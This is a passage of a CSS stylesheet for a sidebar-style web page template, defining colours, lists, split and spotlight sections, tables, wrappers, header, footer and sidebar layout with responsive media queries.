100%;\n\t\t\tcolor: #312450;\n\t\t\ttext-align: center;\n\t\t\tline-height: 2.5em;\n\t\t\tmargin: 0 0 1.3em 0;\n\t\t}\n\n\t\t\t.icon.major:before {\n\t\t\t\tfont-size: 1.25em;\n\t\t\t}\n\n\t\t\t\t.wrapper.style1 .icon.major:before {\n\t\t\t\t\tcolor: #5e42a6;\n\t\t\t\t}\n\n\t\t\t\t.wrapper.style1-alt .icon.major:before {\n\t\t\t\t\tcolor: #493382;\n\t\t\t\t}\n\n\t\t\t\t.wrapper.style2 .icon.major:before {\n\t\t\t\t\tcolor: #5052b5;\n\t\t\t\t}\n\n\t\t\t\t.wrapper.style2-alt .icon.major:before {\n\t\t\t\t\tcolor: #3e4094;\n\t\t\t\t}\n\n\t\t\t\t.wrapper.style3 .icon.major:before {\n\t\t\t\t\tcolor: #b74e91;\n\t\t\t\t}\n\n\t\t\t\t.wrapper.style3-alt .icon.major:before {\n\t\t\t\t\tcolor: #953d75;\n\t\t\t\t}\n\n/* Image */\n\n\t.image {\n\t\tborder-radius: 0.25em;\n\t\tborder: 0;\n\t\tdisplay: inline-block;\n\t\tposition: relative;\n\t}\n\n\t\t.image img {\n\t\t\tborder-radius: 0.25em;\n\t\t\tdisplay: block;\n\t\t}\n\n\t\t.image.left, .image.right {\n\t\t\tmax-width: 40%;\n\t\t}\n\n\t\t\t.image.left img, .image.right img {\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t.image.left {\n\t\t\tfloat: left;\n\t\t\tmargin: 0 1.5em 1em 0;\n\t\t\ttop: 0.25em;\n\t\t}\n\n\t\t.image.right {\n\t\t\tfloat: right;\n\t\t\tmargin: 0 0 1em 1.5em;\n\t\t\ttop: 0.25em;\n\t\t}\n\n\t\t.image.fit {\n\t\t\tdisplay: block;\n\t\t\tmargin: 0 0 2em 0;\n\t\t\twidth: 100%;\n\t\t}\n\n\t\t\t.image.fit img {\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t.image.main {\n\t\t\tdisplay: block;\n\t\t\tmargin: 0 0 3em 0;\n\t\t\twidth: 100%;\n\t\t}\n\n\t\t\t.image.main img {\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n/* List */\n\n\tol {\n\t\tlist-style: decimal;\n\t\tmargin: 0 0 2em 0;\n\t\tpadding-left: 1.25em;\n\t}\n\n\t\tol li {\n\t\t\tpadding-left: 0.25em;\n\t\t}\n\n\tul {\n\t\tlist-style: disc;\n\t\tmargin: 0 0 2em 0;\n\t\tpadding-left: 1em;\n\t}\n\n\t\tul li {\n\t\t\tpadding-left: 0.5em;\n\t\t}\n\n\t\tul.alt {\n\t\t\tlist-style: none;\n\t\t\tpadding-left: 0;\n\t\t}\n\n\t\t\tul.alt li {\n\t\t\t\tborder-top: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t\tpadding: 0.5em 0;\n\t\t\t}\n\n\t\t\t\tul.alt li:first-child {\n\t\t\t\t\tborder-top: 0;\n\t\t\t\t\tpadding-top: 0;\n\t\t\t\t}\n\n\t\tul.icons {\n\t\t\tcursor: default;\n\t\t\tlist-style: none;\n\t\t\tpadding-left: 0;\n\t\t}\n\n\t\t\tul.icons li {\n\t\t\t\tdisplay: inline-block;\n\t\t\t\tpadding: 0 0.75em 0 0;\n\t\t\t}\n\n\t\t\t\tul.icons li:last-child {\n\t\t\t\t\tpadding-right: 0;\n\t\t\t\t}\n\n\t\t\t\tul.icons li > a, ul.icons li > span {\n\t\t\t\t\tborder: 0;\n\t\t\t\t\ttext-decoration: none;\n\t\t\t\t}\n\n\t\t\t\t\tul.icons li > a:before, ul.icons li > span:before {\n\t\t\t\t\t\t-moz-osx-font-smoothing: grayscale;\n\t\t\t\t\t\t-webkit-font-smoothing: antialiased;\n\t\t\t\t\t\tfont-family: FontAwesome;\n\t\t\t\t\t\tfont-style: normal;\n\t\t\t\t\t\tfont-weight: normal;\n\t\t\t\t\t\ttext-transform: none !important;\n\t\t\t\t\t}\n\n\t\t\t\t\tul.icons li > a .label, ul.icons li > span .label {\n\t\t\t\t\t\tdisplay: none;\n\t\t\t\t\t}\n\n\t\tul.actions {\n\t\t\tcursor: default;\n\t\t\tlist-style: none;\n\t\t\tpadding-left: 0;\n\t\t}\n\n\t\t\tul.actions li {\n\t\t\t\tdisplay: inline-block;\n\t\t\t\tpadding: 0 1em 0 0;\n\t\t\t\tvertical-align: middle;\n\t\t\t}\n\n\t\t\t\tul.actions li:last-child {\n\t\t\t\t\tpadding-right: 0;\n\t\t\t\t}\n\n\t\t\tul.actions.small li {\n\t\t\t\tpadding: 0 0.5em 0 0;\n\t\t\t}\n\n\t\t\tul.actions.vertical li {\n\t\t\t\tdisplay: block;\n\t\t\t\tpadding: 1em 0 0 0;\n\t\t\t}\n\n\t\t\t\tul.actions.vertical li:first-child {\n\t\t\t\t\tpadding-top: 0;\n\t\t\t\t}\n\n\t\t\t\tul.actions.vertical li > * {\n\t\t\t\t\tmargin-bottom: 0;\n\t\t\t\t}\n\n\t\t\tul.actions.vertical.small li {\n\t\t\t\tpadding: 0.5em 0 0 0;\n\t\t\t}\n\n\t\t\t\tul.actions.vertical.small li:first-child {\n\t\t\t\t\tpadding-top: 0;\n\t\t\t\t}\n\n\t\t\tul.actions.fit {\n\t\t\t\tdisplay: table;\n\t\t\t\tmargin-left: -1em;\n\t\t\t\tpadding: 0;\n\t\t\t\ttable-layout: fixed;\n\t\t\t\twidth: calc(100% + 1em);\n\t\t\t}\n\n\t\t\t\tul.actions.fit li {\n\t\t\t\t\tdisplay: table-cell;\n\t\t\t\t\tpadding: 0 0 0 1em;\n\t\t\t\t}\n\n\t\t\t\t\tul.actions.fit li > * {\n\t\t\t\t\t\tmargin-bottom: 0;\n\t\t\t\t\t}\n\n\t\t\t\tul.actions.fit.small {\n\t\t\t\t\tmargin-left: -0.5em;\n\t\t\t\t\twidth: calc(100% + 0.5em);\n\t\t\t\t}\n\n\t\t\t\t\tul.actions.fit.small li {\n\t\t\t\t\t\tpadding: 0 0 0 0.5em;\n\t\t\t\t\t}\n\n\t\t\t@media screen and (max-width: 480px) {\n\n\t\t\t\tul.actions {\n\t\t\t\t\tmargin: 0 0 2em 0;\n\t\t\t\t}\n\n\t\t\t\t\tul.actions li {\n\t\t\t\t\t\tpadding: 1em 0 0 0;\n\t\t\t\t\t\tdisplay: block;\n\t\t\t\t\t\ttext-align: center;\n\t\t\t\t\t\twidth: 100%;\n\t\t\t\t\t}\n\n\t\t\t\t\t\tul.actions li > * {\n\t\t\t\t\t\t\twidth: 100%;\n\t\t\t\t\t\t\tmargin: 0 !important;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tul.actions li > *.icon:before {\n\t\t\t\t\t\t\t\tmargin-left: -2em;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\tul.actions li .button {\n\t\t\t\t\t\t\tpadding: 0;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tul.actions li:first-child {\n\t\t\t\t\t\t\tpadding-top: 0;\n\t\t\t\t\t\t}\n\n\t\t\t\t\tul.actions.small li {\n\t\t\t\t\t\tpadding: 0.5em 0 0 0;\n\t\t\t\t\t}\n\n\t\t\t\t\t\tul.actions.small li:first-child {\n\t\t\t\t\t\t\tpadding-top: 0;\n\t\t\t\t\t\t}\n\n\t\t\t}\n\n\t\tul.contact {\n\t\t\tlist-style: none;\n\t\t\tpadding: 0;\n\t\t}\n\n\t\t\tul.contact > li {\n\t\t\t\tpadding: 0;\n\t\t\t\tmargin: 1.5em 0 0 0;\n\t\t\t}\n\n\t\t\t\tul.contact > li:first-child {\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t}\n\n\t\tul.menu {\n\t\t\tlist-style: none;\n\t\t\tpadding: 0;\n\t\t}\n\n\t\t\tul.menu > li {\n\t\t\t\tborder-left: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t\tdisplay: inline-block;\n\t\t\t\tline-height: 1;\n\t\t\t\tmargin-left: 1.5em;\n\t\t\t\tpadding: 0 0 0 1.5em;\n\t\t\t}\n\n\t\t\t\tul.menu > li:first-child {\n\t\t\t\t\tborder-left: 0;\n\t\t\t\t\tmargin: 0;\n\t\t\t\t\tpadding-left: 0;\n\t\t\t\t}\n\n\t\t\t@media screen and (max-width: 480px) {\n\n\t\t\t\tul.menu > li {\n\t\t\t\t\tborder-left: 0;\n\t\t\t\t\tdisplay: block;\n\t\t\t\t\tline-height: inherit;\n\t\t\t\t\tmargin: 0.5em 0 0 0;\n\t\t\t\t\tpadding-left: 0;\n\t\t\t\t}\n\n\t\t\t}\n\n\tdl {\n\t\tmargin: 0 0 2em 0;\n\t}\n\n\t\tdl dt {\n\t\t\tdisplay: block;\n\t\t\tfont-weight: bold;\n\t\t\tmargin: 0 0 1em 0;\n\t\t}\n\n\t\tdl dd {\n\t\t\tmargin-left: 2em;\n\t\t}\n\n/* Section/Article */\n\n\tsection.special, article.special {\n\t\ttext-align: center;\n\t}\n\n\theader p {\n\t\tcolor: rgba(255, 255, 255, 0.35);\n\t\tposition: relative;\n\t\tmargin: 0 0 1.5em 0;\n\t}\n\n\theader h2 + p {\n\t\tfont-size: 1.25em;\n\t\tmargin-top: -1em;\n\t\tline-height: 1.5em;\n\t}\n\n\theader h3 + p {\n\t\tfont-size: 1.1em;\n\t\tmargin-top: -0.8em;\n\t\tline-height: 1.5em;\n\t}\n\n\theader h4 + p,\n\theader h5 + p,\n\theader h6 + p {\n\t\tfont-size: 0.9em;\n\t\tmargin-top: -0.6em;\n\t\tline-height: 1.5em;\n\t}\n\n/* Split */\n\n\t.split {\n\t\tdisplay: -moz-flex;\n\t\tdisplay: -webkit-flex;\n\t\tdisplay: -ms-flex;\n\t\tdisplay: flex;\n\t}\n\n\t\t.split > * {\n\t\t\twidth: calc(50% - 2.5em);\n\t\t}\n\n\t\t.split > :nth-child(2n - 1) {\n\t\t\tpadding-right: 2.5em;\n\t\t\tborder-right: solid 1px rgba(255, 255, 255, 0.15);\n\t\t}\n\n\t\t.split > :nth-child(2n) {\n\t\t\tpadding-left: 2.5em;\n\t\t}\n\n\t\t.split.style1 > :nth-child(2n - 1) {\n\t\t\twidth: calc(66.66666% - 2.5em);\n\t\t}\n\n\t\t.split.style1 > :nth-child(2n) {\n\t\t\twidth: calc(33.33333% - 2.5em);\n\t\t}\n\n\t\t@media screen and (max-width: 1680px) {\n\n\t\t\t.split > * {\n\t\t\t\twidth: calc(50% - 2em);\n\t\t\t}\n\n\t\t\t.split > :nth-child(2n - 1) {\n\t\t\t\tpadding-right: 2em;\n\t\t\t}\n\n\t\t\t.split > :nth-child(2n) {\n\t\t\t\tpadding-left: 2em;\n\t\t\t}\n\n\t\t\t.split.style1 > :nth-child(2n - 1) {\n\t\t\t\twidth: calc(66.66666% - 2em);\n\t\t\t}\n\n\t\t\t.split.style1 > :nth-child(2n) {\n\t\t\t\twidth: calc(33.33333% - 2em);\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 980px) {\n\n\t\t\t.split {\n\t\t\t\tdisplay: block;\n\t\t\t}\n\n\t\t\t\t.split > * {\n\t\t\t\t\tborder-top: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t\t\tmargin: 4em 0 0 0;\n\t\t\t\t\tpadding: 4em 0 0 0;\n\t\t\t\t\twidth: 100% !important;\n\t\t\t\t}\n\n\t\t\t\t.split > :nth-child(2n - 1) {\n\t\t\t\t\tborder-right: 0;\n\t\t\t\t\tpadding-right: 0;\n\t\t\t\t}\n\n\t\t\t\t.split > :nth-child(2n) {\n\t\t\t\t\tpadding-left: 0;\n\t\t\t\t}\n\n\t\t\t\t.split > :first-child {\n\t\t\t\t\tborder-top: 0;\n\t\t\t\t\tmargin-top: 0;\n\t\t\t\t\tpadding-top: 0;\n\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t.split > * {\n\t\t\t\tmargin: 3em 0 0 0;\n\t\t\t\tpadding: 3em 0 0 0;\n\t\t\t}\n\n\t\t}\n\n/* Spotlights */\n\n\t.spotlights > section {\n\t\tdisplay: -moz-flex;\n\t\tdisplay: -webkit-flex;\n\t\tdisplay: -ms-flex;\n\t\tdisplay: flex;\n\t\t-moz-flex-direction: row;\n\t\t-webkit-flex-direction: row;\n\t\t-ms-flex-direction: row;\n\t\tflex-direction: row;\n\t\tmin-height: 22.5em;\n\t}\n\n\t\tbody.is-ie .spotlights > section {\n\t\t\tmin-height: 0;\n\t\t}\n\n\t\t.spotlights > section > .image {\n\t\t\tbackground-position: center center;\n\t\t\tbackground-size: cover;\n\t\t\tborder-radius: 0;\n\t\t\tdisplay: block;\n\t\t\tposition: relative;\n\t\t\twidth: 25em;\n\t\t}\n\n\t\t\t.spotlights > section > .image img {\n\t\t\t\tborder-radius: 0;\n\t\t\t\tdisplay: block;\n\t\t\t}\n\n\t\t\t.spotlights > section > .image:before {\n\t\t\t\t-moz-transition: opacity 1s ease;\n\t\t\t\t-webkit-transition: opacity 1s ease;\n\t\t\t\t-ms-transition: opacity 1s ease;\n\t\t\t\ttransition: opacity 1s ease;\n\t\t\t\tbackground: rgba(49, 36, 80, 0.9);\n\t\t\t\tcontent: '';\n\t\t\t\tdisplay: block;\n\t\t\t\theight: 100%;\n\t\t\t\tleft: 0;\n\t\t\t\topacity: 0;\n\t\t\t\tposition: absolute;\n\t\t\t\ttop: 0;\n\t\t\t\twidth: 100%;\n\t\t\t}\n\n\t\t.spotlights > section > .content {\n\t\t\tpadding: 4em 5em 2em 5em ;\n\t\t\tdisplay: -moz-flex;\n\t\t\tdisplay: -webkit-flex;\n\t\t\tdisplay: -ms-flex;\n\t\t\tdisplay: flex;\n\t\t\t-moz-flex-direction: column;\n\t\t\t-webkit-flex-direction: column;\n\t\t\t-ms-flex-direction: column;\n\t\t\tflex-direction: column;\n\t\t\t-moz-justify-content: center;\n\t\t\t-webkit-justify-content: center;\n\t\t\t-ms-justify-content: center;\n\t\t\tjustify-content: center;\n\t\t\twidth: 50em;\n\t\t\t-ms-flex: 1;\n\t\t}\n\n\t\t\t.spotlights > section > .content > .inner {\n\t\t\t\t-moz-transform: translateX(0) translateY(0);\n\t\t\t\t-webkit-transform: translateX(0) translateY(0);\n\t\t\t\t-ms-transform: translateX(0) translateY(0);\n\t\t\t\ttransform: translateX(0) translateY(0);\n\t\t\t\t-moz-transition: opacity 1s ease, -moz-transform 1s ease;\n\t\t\t\t-webkit-transition: opacity 1s ease, -webkit-transform 1s ease;\n\t\t\t\t-ms-transition: opacity 1s ease, -ms-transform 1s ease;\n\t\t\t\ttransition: opacity 1s ease, transform 1s ease;\n\t\t\t\topacity: 1;\n\t\t\t}\n\n\t\t.spotlights > section:nth-child(2) {\n\t\t\tbackground-color: rgba(0, 0, 0, 0.05);\n\t\t}\n\n\t\t.spotlights > section:nth-child(3) {\n\t\t\tbackground-color: rgba(0, 0, 0, 0.1);\n\t\t}\n\n\t\t.spotlights > section.inactive > .image:before, body.is-loading .spotlights > section > .image:before {\n\t\t\topacity: 1;\n\t\t}\n\n\t\t.spotlights > section.inactive > .content > .inner, body.is-loading .spotlights > section > .content > .inner {\n\t\t\t-moz-transform: translateX(-1em);\n\t\t\t-webkit-transform: translateX(-1em);\n\t\t\t-ms-transform: translateX(-1em);\n\t\t\ttransform: translateX(-1em);\n\t\t\topacity: 0;\n\t\t}\n\n\t\t@media screen and (max-width: 1680px) {\n\n\t\t\t.spotlights > section > .content {\n\t\t\t\tpadding: 4em 4em 2em 4em ;\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 980px) {\n\n\t\t\t.spotlights > section {\n\t\t\t\tdisplay: block;\n\t\t\t}\n\n\t\t\t\t.spotlights > section > .image {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t\theight: 50vh;\n\t\t\t\t}\n\n\t\t\t\t.spotlights > section > .content {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t\t.spotlights > section.inactive > .content > .inner, body.is-loading .spotlights > section > .content > .inner {\n\t\t\t\t\t-moz-transform: translateY(1em);\n\t\t\t\t\t-webkit-transform: translateY(1em);\n\t\t\t\t\t-ms-transform: translateY(1em);\n\t\t\t\t\ttransform: translateY(1em);\n\t\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t.spotlights > section > .image {\n\t\t\t\theight: 50vh;\n\t\t\t\tmin-height: 15em;\n\t\t\t}\n\n\t\t\t.spotlights > section > .content {\n\t\t\t\tpadding: 3em 2em 1em 2em ;\n\t\t\t}\n\n\t\t}\n\n/* Table */\n\n\t.table-wrapper {\n\t\t-webkit-overflow-scrolling: touch;\n\t\toverflow-x: auto;\n\t}\n\n\ttable {\n\t\tmargin: 0 0 2em 0;\n\t\twidth: 100%;\n\t}\n\n\t\ttable tbody tr {\n\t\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\tborder-left: 0;\n\t\t\tborder-right: 0;\n\t\t}\n\n\t\t\ttable tbody tr:nth-child(2n + 1) {\n\t\t\t\tbackground-color: rgba(255, 255, 255, 0.05);\n\t\t\t}\n\n\t\ttable td {\n\t\t\tpadding: 0.75em 0.75em;\n\t\t}\n\n\t\ttable th {\n\t\t\tcolor: #ffffff;\n\t\t\tfont-size: 1em;\n\t\t\tfont-weight: bold;\n\t\t\tpadding: 0 0.75em 0.75em 0.75em;\n\t\t\ttext-align: left;\n\t\t}\n\n\t\ttable thead {\n\t\t\tborder-bottom: solid 2px rgba(255, 255, 255, 0.15);\n\t\t}\n\n\t\ttable tfoot {\n\t\t\tborder-top: solid 2px rgba(255, 255, 255, 0.15);\n\t\t}\n\n\t\ttable.alt {\n\t\t\tborder-collapse: separate;\n\t\t}\n\n\t\t\ttable.alt tbody tr td {\n\t\t\t\tborder: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t\tborder-left-width: 0;\n\t\t\t\tborder-top-width: 0;\n\t\t\t}\n\n\t\t\t\ttable.alt tbody tr td:first-child {\n\t\t\t\t\tborder-left-width: 1px;\n\t\t\t\t}\n\n\t\t\ttable.alt tbody tr:first-child td {\n\t\t\t\tborder-top-width: 1px;\n\t\t\t}\n\n\t\t\ttable.alt thead {\n\t\t\t\tborder-bottom: 0;\n\t\t\t}\n\n\t\t\ttable.alt tfoot {\n\t\t\t\tborder-top: 0;\n\t\t\t}\n\n/* Wrapper */\n\n\t.wrapper {\n\t\tposition: relative;\n\t}\n\n\t\t.wrapper > .inner {\n\t\t\tpadding: 5em 5em 3em 5em ;\n\t\t\tmax-width: 100%;\n\t\t\twidth: 75em;\n\t\t}\n\n\t\t\t@media screen and (max-width: 1680px) {\n\n\t\t\t\t.wrapper > .inner {\n\t\t\t\t\tpadding: 4em 4em 2em 4em ;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t\t.wrapper > .inner {\n\t\t\t\t\twidth: 100%;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t@media screen and (max-width: 736px) {\n\n\t\t\t\t.wrapper > .inner {\n\t\t\t\t\tpadding: 3em 2em 1em 2em ;\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t.wrapper.alt {\n\t\t\tbackground-color: #261c3e;\n\t\t}\n\n\t\t.wrapper.style1 {\n\t\t\tbackground-color: #5e42a6;\n\t\t}\n\n\t\t.wrapper.style1-alt {\n\t\t\tbackground-color: #493382;\n\t\t}\n\n\t\t.wrapper.style2 {\n\t\t\tbackground-color: #5052b5;\n\t\t}\n\n\t\t.wrapper.style2-alt {\n\t\t\tbackground-color: #3e4094;\n\t\t}\n\n\t\t.wrapper.style3 {\n\t\t\tbackground-color: #b74e91;\n\t\t}\n\n\t\t.wrapper.style3-alt {\n\t\t\tbackground-color: #953d75;\n\t\t}\n\n\t\t.wrapper.fullscreen {\n\t\t\tdisplay: -moz-flex;\n\t\t\tdisplay: -webkit-flex;\n\t\t\tdisplay: -ms-flex;\n\t\t\tdisplay: flex;\n\t\t\t-moz-flex-direction: column;\n\t\t\t-webkit-flex-direction: column;\n\t\t\t-ms-flex-direction: column;\n\t\t\tflex-direction: column;\n\t\t\t-moz-justify-content: center;\n\t\t\t-webkit-justify-content: center;\n\t\t\t-ms-justify-content: center;\n\t\t\tjustify-content: center;\n\t\t\tmin-height: 100vh;\n\t\t}\n\n\t\t\tbody.is-ie .wrapper.fullscreen {\n\t\t\t\theight: 100vh;\n\t\t\t}\n\n\t\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t\t.wrapper.fullscreen {\n\t\t\t\t\tmin-height: calc(100vh - 2.5em);\n\t\t\t\t}\n\n\t\t\t\t\tbody.is-ie .wrapper.fullscreen {\n\t\t\t\t\t\theight: calc(100vh - 2.5em);\n\t\t\t\t\t}\n\n\t\t\t}\n\n\t\t\t@media screen and (max-width: 736px) {\n\n\t\t\t\t.wrapper.fullscreen {\n\t\t\t\t\tpadding: 2em 0;\n\t\t\t\t\tmin-height: 0;\n\t\t\t\t}\n\n\t\t\t\t\tbody.is-ie .wrapper.fullscreen {\n\t\t\t\t\t\theight: auto;\n\t\t\t\t\t}\n\n\t\t\t}\n\n\t\t.wrapper.fade-up > .inner {\n\t\t\t-moz-transform: translateY(0);\n\t\t\t-webkit-transform: translateY(0);\n\t\t\t-ms-transform: translateY(0);\n\t\t\ttransform: translateY(0);\n\t\t\t-moz-transition: opacity 1s ease, -moz-transform 1s ease;\n\t\t\t-webkit-transition: opacity 1s ease, -webkit-transform 1s ease;\n\t\t\t-ms-transition: opacity 1s ease, -ms-transform 1s ease;\n\t\t\ttransition: opacity 1s ease, transform 1s ease;\n\t\t\topacity: 1.0;\n\t\t}\n\n\t\t.wrapper.fade-up.inactive > .inner, body.is-loading .wrapper.fade-up > .inner {\n\t\t\topacity: 0;\n\t\t\t-moz-transform: translateY(1em);\n\t\t\t-webkit-transform: translateY(1em);\n\t\t\t-ms-transform: translateY(1em);\n\t\t\ttransform: translateY(1em);\n\t\t}\n\n\t\t.wrapper.fade-down > .inner {\n\t\t\t-moz-transform: translateY(0);\n\t\t\t-webkit-transform: translateY(0);\n\t\t\t-ms-transform: translateY(0);\n\t\t\ttransform: translateY(0);\n\t\t\t-moz-transition: opacity 1s ease, -moz-transform 1s ease;\n\t\t\t-webkit-transition: opacity 1s ease, -webkit-transform 1s ease;\n\t\t\t-ms-transition: opacity 1s ease, -ms-transform 1s ease;\n\t\t\ttransition: opacity 1s ease, transform 1s ease;\n\t\t\topacity: 1.0;\n\t\t}\n\n\t\t.wrapper.fade-down.inactive > .inner, body.is-loading .wrapper.fade-down > .inner {\n\t\t\topacity: 0;\n\t\t\t-moz-transform: translateY(-1em);\n\t\t\t-webkit-transform: translateY(-1em);\n\t\t\t-ms-transform: translateY(-1em);\n\t\t\ttransform: translateY(-1em);\n\t\t}\n\n\t\t.wrapper.fade > .inner {\n\t\t\t-moz-transition: opacity 1s ease;\n\t\t\t-webkit-transition: opacity 1s ease;\n\t\t\t-ms-transition: opacity 1s ease;\n\t\t\ttransition: opacity 1s ease;\n\t\t\topacity: 1.0;\n\t\t}\n\n\t\t.wrapper.fade.inactive > .inner, body.is-loading .wrapper.fade > .inner {\n\t\t\topacity: 0;\n\t\t}\n\n/* Header */\n\n\t#header {\n\t\tdisplay: -moz-flex;\n\t\tdisplay: -webkit-flex;\n\t\tdisplay: -ms-flex;\n\t\tdisplay: flex;\n\t\tbackground-color: #5e42a6;\n\t\tcursor: default;\n\t\tpadding: 1.75em 2em;\n\t}\n\n\t\t#header > .title {\n\t\t\tborder: 0;\n\t\t\tcolor: #ffffff;\n\t\t\tdisplay: block;\n\t\t\tfont-size: 1.25em;\n\t\t\tfont-weight: bold;\n\t\t}\n\n\t\t#header > nav {\n\t\t\t-moz-flex: 1;\n\t\t\t-webkit-flex: 1;\n\t\t\t-ms-flex: 1;\n\t\t\tflex: 1;\n\t\t\ttext-align: right;\n\t\t}\n\n\t\t\t#header > nav > ul {\n\t\t\t\tmargin: 0;\n\t\t\t\tpadding: 0;\n\t\t\t}\n\n\t\t\t\t#header > nav > ul > li {\n\t\t\t\t\tdisplay: inline-block;\n\t\t\t\t\tmargin-left: 1.75em;\n\t\t\t\t\tpadding: 0;\n\t\t\t\t\tvertical-align: middle;\n\t\t\t\t}\n\n\t\t\t\t\t#header > nav > ul > li:first-child {\n\t\t\t\t\t\tmargin-left: 0;\n\t\t\t\t\t}\n\n\t\t\t\t\t#header > nav > ul > li a {\n\t\t\t\t\t\tborder: 0;\n\t\t\t\t\t\tcolor: rgba(255, 255, 255, 0.35);\n\t\t\t\t\t\tdisplay: inline-block;\n\t\t\t\t\t\tfont-size: 0.6em;\n\t\t\t\t\t\tfont-weight: bold;\n\t\t\t\t\t\tletter-spacing: 0.25em;\n\t\t\t\t\t\ttext-transform: uppercase;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t#header > nav > ul > li a:hover {\n\t\t\t\t\t\t\tcolor: rgba(255, 255, 255, 0.55);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t#header > nav > ul > li a.active {\n\t\t\t\t\t\t\tcolor: #ffffff;\n\t\t\t\t\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t#header {\n\t\t\t\tpadding: 1em 2em;\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 480px) {\n\n\t\t\t#header {\n\t\t\t\tdisplay: block;\n\t\t\t\tpadding: 0 2em;\n\t\t\t\ttext-align: left;\n\t\t\t}\n\n\t\t\t\t#header .title {\n\t\t\t\t\tfont-size: 1.25em;\n\t\t\t\t\tpadding: 1em 0;\n\t\t\t\t}\n\n\t\t\t\t#header > nav {\n\t\t\t\t\tborder-top: solid 1px rgba(255, 255, 255, 0.15);\n\t\t\t\t\ttext-align: inherit;\n\t\t\t\t}\n\n\t\t\t\t\t#header > nav > ul > li {\n\t\t\t\t\t\tmargin-left: 1.5em;\n\t\t\t\t\t}\n\n\t\t\t\t\t\t#header > nav > ul > li a {\n\t\t\t\t\t\t\theight: 6em;\n\t\t\t\t\t\t\tline-height: 6em;\n\t\t\t\t\t\t}\n\n\t\t}\n\n/* Wrapper (main) */\n\n\t#sidebar + #wrapper {\n\t\tmargin-left: 18em;\n\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t#sidebar + #wrapper {\n\t\t\t\tmargin-left: 0;\n\t\t\t\tpadding-top: 3.5em;\n\t\t\t}\n\n\t\t}\n\n\t\t@media screen and (max-width: 736px) {\n\n\t\t\t#sidebar + #wrapper {\n\t\t\t\tpadding-top: 0;\n\t\t\t}\n\n\t\t}\n\n\t#header + #wrapper > .wrapper > .inner {\n\t\tmargin: 0 auto;\n\t}\n\n/* Footer */\n\n\t#sidebar + #wrapper + #footer {\n\t\tmargin-left: 18em;\n\t}\n\n\t\t@media screen and (max-width: 1280px) {\n\n\t\t\t#sidebar + #wrapper + #footer {\n\t\t\t\tmargin-left: 0;\n\t\t\t}\n\n\t\t}\n\n\t#footer > .inner a {\n\t\tborder-bottom-color: rgba(255, 255, 255, 0.15);\n\t}\n\n\t\t#footer > .inner a:hover {\n\t\t\tborder-bottom-color: transparent;\n\t\t}\n\n\t#footer > .inner .menu {\n\t\tfont-size: 0.8em;\n\t\tcolor: rgba(255, 255, 255, 0.15);\n\t}\n\n\t#header + #wrapper + #footer > .inner {\n\t\tmargin: 0 auto;\n\t}\n\n/* Sidebar */\n\n\t#sidebar {\n\t\tpadding: 2.5em 2.5em 0.5em 2.5em ;\n\t\tbackground: #312450;\n\t\tcursor: default;\n\t\theight: 100vh;\n\t\tleft: 0;\n\t\toverflow-x: hidden;\n\t\toverflow-y: auto;\n\t\tposition: fixed;\n\t\ttext-align: right;\n\t\ttop: 0;\n\t\twidth: 18em;\n\t\tz-index: 10000;\n\t}\n\n\t\t#sidebar > .inner {\n\t\t\tdisplay: -moz-flex;\n\t\t\tdisplay: -webkit-flex;\n\t\t\tdisplay: -ms-flex;\n\t\t\tdisplay: flex;\n\t\t\t-moz-flex-direction: column;\n\t\t\t-webkit-flex-direction: column;\n\t\t\t-ms-flex-direction: column;\n\t\t\tflex-direction: column;\n\t\t\t-moz-justify-content: center;\n\t\t\t-webkit-justify-content: center;\n\t\t\t-ms-justify-content: center;\n\t\t\tjustify-content: center;\n\t\t\t-moz-transform: translateY(0);\n\t\t\t-webkit-transform: translateY(0);\n\t\t\t-ms-transform: translateY(0);\n\t\t\ttransform: translateY(0);\n\t\t\t-moz-transition: opacity 1s ease;\n\t\t\t-webkit-transition: opacity 1s ease;\n\t\t\t-ms-transition: opacity 1s ease;\n\t\t\ttransition: opacity 1s ease;\n\t\t\tmin-height: 100%;\n\t\t\topacity: 1;\n\t\t\twidth: 100%;\n\t\t}\n\n\t\t\tbody.is-ie #sidebar > .inner {\n\t\t\t\theight: 100%;\n\t\t\t}\n\n\t\t#sidebar nav > ul {\n\t\t\tlist-style: none;\n\t\t\tpadding: 0;\n\t\t}\n\n\t\t\t#sidebar nav > ul > li {\n\t\t\t\t-moz-transform: translateY(0);\n\t\t\t\t-webkit-transform: translateY(0);\n\t\t\t\t-ms-transform: translateY(0);\n\t\t\t\ttransform: translateY(0);\n\t\t\t\t-moz-transition: opacity 0.15s ease, -moz-transform 0.75s ease;\n\t\t\t\t-webkit-transition: opacity 0.15s ease, -webkit-transform 0.75s ease;\n\t\t\t\t-ms-transition: opacity 0.15s ease, -ms-transform 0.75s ease;\n\t\t\t\ttransition: opacity 0.15s ease, transform 0.75s ease;\n\t\t\t\tmargin: 1.5em 0 0 0;\n\t\t\t\topacity: 1;\n\t\t\t\tpadding: 0;\n\t\t\t\tposition: 